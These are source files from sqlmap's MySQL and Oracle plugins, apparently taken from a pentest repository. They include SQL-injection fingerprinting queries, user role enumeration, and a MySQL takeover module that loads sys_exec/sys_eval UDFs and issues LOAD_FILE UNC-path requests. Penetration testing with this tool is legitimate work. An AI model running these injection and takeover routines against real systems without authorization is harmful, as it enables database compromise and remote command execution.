#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import pymysql except ImportError: pass import logging from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://code.google.com/p/pymysql/ User guide: http://code.google.com/p/pymysql/ API: http://code.google.com/p/pymysql/ Debian package: <none> License: MIT Possible connectors: http://wiki.python.org/moin/MySQL """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = pymysql.connect(host=self.hostname, user=self.user, passwd=self.password, db=self.db, port=self.port, connect_timeout=conf.timeout, use_unicode=True) except (pymysql.OperationalError, pymysql.InternalError), msg: raise SqlmapConnectionException(msg[1]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except pymysql.ProgrammingError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except (pymysql.OperationalError, pymysql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except pymysql.InternalError, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal
2,046
Python
.py
55
30.127273
178
0.675621
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,116
syntax.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mysql/syntax.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import binascii from lib.core.convert import utf8encode from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT 0x6162636465666768 FROM foobar' """ def escaper(value): retVal = None try: retVal = "0x%s" % binascii.hexlify(value) except UnicodeEncodeError: retVal = "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(value)) return retVal return Syntax._escape(expression, quote, escaper)
902
Python
.py
25
28.88
105
0.636782
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,117
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mysql/__init__.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MYSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.mysql.enumeration import Enumeration from plugins.dbms.mysql.filesystem import Filesystem from plugins.dbms.mysql.fingerprint import Fingerprint from plugins.dbms.mysql.syntax import Syntax from plugins.dbms.mysql.takeover import Takeover from plugins.generic.misc import Miscellaneous class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines MySQL methods """ def __init__(self): self.excludeDbsList = MYSQL_SYSTEM_DBS self.sysUdfs = { # UDF name: UDF return data-type "sys_exec": { "return": "int" }, "sys_eval": { "return": "string" }, "sys_bineval": { "return": "int" } } Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.MYSQL] = Syntax.escape
1,325
Python
.py
33
32.69697
86
0.648523
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,118
fingerprint.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mysql/fingerprint.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import MYSQL_ALIASES from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MYSQL) def _commentCheck(self): infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/* NoValue */") if not result: warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL logger.warn(warnMsg) return None # MySQL valid versions updated on 04/2011 versions = ( (32200, 32235), # MySQL 3.22 (32300, 32359), # MySQL 3.23 (40000, 40032), # MySQL 4.0 (40100, 40131), # MySQL 4.1 (50000, 50092), # MySQL 5.0 (50100, 50156), # MySQL 5.1 (50400, 50404), # MySQL 5.4 (50500, 50521), # MySQL 5.5 (50600, 50604), # MySQL 5.6 (60000, 60014), # MySQL 6.0 ) index = -1 for i in xrange(len(versions)): element = versions[i] version = element[0] version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if result: break else: index += 1 if index >= 0: prevVer = None for version in xrange(versions[index][0], versions[index][1] + 1): version = getUnicode(version) result = inject.checkBooleanExpression("[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if result: if not prevVer: prevVer = version if version[0] == "3": midVer = prevVer[1:3] else: midVer = prevVer[2] trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) return trueVer prevVer = version return None def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp and not hasattr(conf, "api"): value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp and not hasattr(conf, "api"): value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value comVer = self._commentCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if comVer: comVer = Format.getDbms([comVer]) value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None if banVer and re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer] if banVer else None) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \ or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("5"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("USER() LIKE USER()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 # Determine if it is MySQL >= 5.0.0 if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) # Check if it is MySQL >= 5.5.0 if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): Backend.setVersion(">= 5.5.0") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.12", "< 5.5.0"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.7", "< 5.1.12"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)"): Backend.setVersion("= 5.1.6") elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: Backend.setVersionList([">= 5.1.2", "< 5.1.5"]) # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): Backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"): Backend.setVersionList([">= 5.0.19", "< 5.0.38"]) elif not inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])"): Backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"): Backend.setVersionList([">= 5.0.6", "< 5.0.11"]) elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersionList([">= 5.0.3", "< 5.0.6"]) else: Backend.setVersionList([">= 5.0.0", "< 5.0.3"]) elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): Backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): Backend.setVersion("< 5.0.0") setDbms("%s 4" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.11", "< 5.0.0"]) elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.1", "< 4.1.11"]) elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"): Backend.setVersionList([">= 4.0.6", "< 4.1.1"]) if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"): Backend.setVersion("= 4.1.0") else: Backend.setVersionList([">= 4.0.6", "< 4.1.0"]) else: Backend.setVersionList([">= 4.0.0", "< 4.0.6"]) else: Backend.setVersion("< 4.0.0") setDbms("%s 3" % DBMS.MYSQL) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))") if result: Backend.setOs(OS.WINDOWS) elif not result: Backend.setOs(OS.LINUX) if Backend.getOs(): infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() logger.info(infoMsg) else: self.userChooseDbmsOs() self.cleanup(onlyFileTbl=True)
11,065
Python
.py
219
36.675799
134
0.548938
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,119
takeover.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mysql/takeover.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import isStackingAvailable from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import randomStr from lib.core.common import unArrayizeValue from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import OS from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.__basedir = None self.__datadir = None GenericTakeover.__init__(self) def udfSetRemotePath(self): self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 if banVer >= "5.1.19": if self.__basedir is None: logger.info("retrieving MySQL base directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir")) if re.search("^[\w]\:[\/\\\\]+", (self.__basedir or ""), re.I): Backend.setOs(OS.WINDOWS) else: Backend.setOs(OS.LINUX) # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin if Backend.isOs(OS.WINDOWS): self.__basedir += "/lib/plugin" else: self.__basedir += "/lib/mysql/plugin" self.__basedir = ntToPosixSlashes(normalizePath(self.__basedir)) self.udfRemoteFile = "%s/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt) # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: #logger.debug("retrieving MySQL data directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir #self.__datadir = inject.getValue("SELECT @@datadir") # NOTE: specifying the relative path as './udf.dll' # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 self.__datadir = "." self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir)) # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, # C:\WINDOWS\system32, @@basedir\bin or @@datadir self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt) def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) if Backend.isOs(OS.WINDOWS): self.udfLocalFile = os.path.join(self.udfLocalFile, "mysql", "windows", "%d" % Backend.getArch(), "lib_mysqludf_sys.dll") self.udfSharedLibExt = "dll" else: self.udfLocalFile = os.path.join(self.udfLocalFile, "mysql", "linux", "%d" % Backend.getArch(), "lib_mysqludf_sys.so") self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): if udf in self.udfToCreate: logger.info("creating UDF '%s' from the binary UDF file" % udf) ret = inpRet["return"] # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html inject.goStacked("DROP FUNCTION %s" % udf) inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt)) self.createdUdf.add(udf) else: logger.debug("keeping existing UDF '%s' as requested" % udf) def uncPathRequest(self): if not isStackingAvailable(): query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) Request.queryPage(payload) else: inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
4,530
Python
.py
86
43.255814
134
0.642534
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,120
enumeration.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mysql/enumeration.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self)
325
Python
.py
9
33.444444
73
0.763578
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,121
filesystem.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/oracle/filesystem.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "File system read access not yet implemented for " errMsg += "Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "File system write access not yet implemented for " errMsg += "Oracle" raise SqlmapUnsupportedFeatureException(errMsg)
792
Python
.py
18
38.944444
71
0.741222
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,122
connector.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/oracle/connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import cx_Oracle except ImportError: pass import logging import os from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector os.environ["NLS_LANG"] = ".AL32UTF8" class Connector(GenericConnector): """ Homepage: http://cx-oracle.sourceforge.net/ User guide: http://cx-oracle.sourceforge.net/README.txt API: http://cx-oracle.sourceforge.net/html/index.html License: http://cx-oracle.sourceforge.net/LICENSE.txt """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db) self.__dsn = utf8encode(self.__dsn) self.user = utf8encode(self.user) self.password = utf8encode(self.password) try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) logger.info("successfully connected as SYSDBA") except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError): try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except cx_Oracle.InterfaceError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg) return None def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except cx_Oracle.DatabaseError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal
2,469
Python
.py
62
32.467742
125
0.674759
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,123
syntax.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/oracle/syntax.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' """ def escaper(value): return "||".join("%s(%d)" % ("CHR" if ord(value[i]) < 256 else "NCHR", ord(value[i])) for i in xrange(len(value))) return Syntax._escape(expression, quote, escaper)
757
Python
.py
18
36.277778
126
0.637108
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,124
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/oracle/__init__.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import ORACLE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.oracle.enumeration import Enumeration from plugins.dbms.oracle.filesystem import Filesystem from plugins.dbms.oracle.fingerprint import Fingerprint from plugins.dbms.oracle.syntax import Syntax from plugins.dbms.oracle.takeover import Takeover from plugins.generic.misc import Miscellaneous class OracleMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Oracle methods """ def __init__(self): self.excludeDbsList = ORACLE_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.ORACLE] = Syntax.escape
1,039
Python
.py
27
34.444444
87
0.750497
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,125
fingerprint.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/oracle/fingerprint.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import ORACLE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.ORACLE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.ORACLE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or (conf.dbms or "").lower() in ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() return True infoMsg = "testing %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting # directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("ROWNUM=ROWNUM") if result: infoMsg = "confirming %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False setDbms(DBMS.ORACLE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ORACLE logger.info(infoMsg) for version in ("11i", "10g", "9i", "8i"): number = int(re.search("([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) if output: Backend.setVersion(version) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False def forceDbmsEnum(self): if conf.db: conf.db = conf.db.upper() if conf.tbl: conf.tbl = conf.tbl.upper()
3,732
Python
.py
91
30.714286
178
0.600222
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,126
takeover.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/oracle/takeover.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "Operating system command execution functionality not " errMsg += "yet implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "Operating system shell functionality not yet " errMsg += "implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "Operating system out-of-band control functionality " errMsg += "not yet implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "One click operating system out-of-band control " errMsg += "functionality not yet implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg)
1,168
Python
.py
26
38.884615
72
0.732159
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,127
enumeration.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/oracle/enumeration.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import getLimitRange from lib.core.common import isAdminFromPrivileges from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getRoles(self, query2=False): infoMsg = "fetching database users roles" rootQuery = queries[Backend.getIdentifiedDbms()].roles if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) # Set containing the list of DBMS administrators areAdmins = set() if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: users = conf.user.split(",") query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False, time=False) if not values and not query2: infoMsg = "trying with table USER_ROLE_PRIVS" logger.info(infoMsg) return self.getRoles(query2=True) if not isNoneValue(values): for value in values: user = None roles = set() for count in xrange(0, len(value)): # The first column is always the username if count == 0: user = value[count] # The other columns are the roles else: role = value[count] # In Oracle we get the list of roles as string roles.add(role) if user in kb.data.cachedUsersRoles: kb.data.cachedUsersRoles[user] = list(roles.union(kb.data.cachedUsersRoles[user])) else: kb.data.cachedUsersRoles[user] = list(roles) if not kb.data.cachedUsersRoles and isInferenceAvailable() and not conf.direct: if conf.user: users = conf.user.split(",") else: if not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers retrievedUsers = set() for user in users: unescapedUser = None if user in retrievedUsers: continue infoMsg = "fetching number of roles " infoMsg += "for user '%s'" % user logger.info(infoMsg) if unescapedUser: queryUser = unescapedUser else: queryUser = user if query2: query = rootQuery.blind.count2 % queryUser else: query = rootQuery.blind.count % queryUser count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if count != 0 and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "roles for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching roles for user '%s'" % user logger.info(infoMsg) roles = set() indexRange = getLimitRange(count, plusOne=True) for index in indexRange: if query2: query = rootQuery.blind.query2 % (queryUser, index) else: query = rootQuery.blind.query % (queryUser, index) role = inject.getValue(query, union=False, error=False) # In Oracle we get the list of roles as string roles.add(role) if roles: kb.data.cachedUsersRoles[user] = list(roles) else: warnMsg = "unable to retrieve the roles " warnMsg += "for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersRoles: errMsg = "unable to retrieve the roles " errMsg += "for the database users" raise SqlmapNoneDataException(errMsg) for user, privileges in kb.data.cachedUsersRoles.items(): if isAdminFromPrivileges(privileges): areAdmins.add(user) return kb.data.cachedUsersRoles, areAdmins
5,990
Python
.py
128
31.9375
140
0.559409
pwnieexpress/raspberry_pwn
1,024
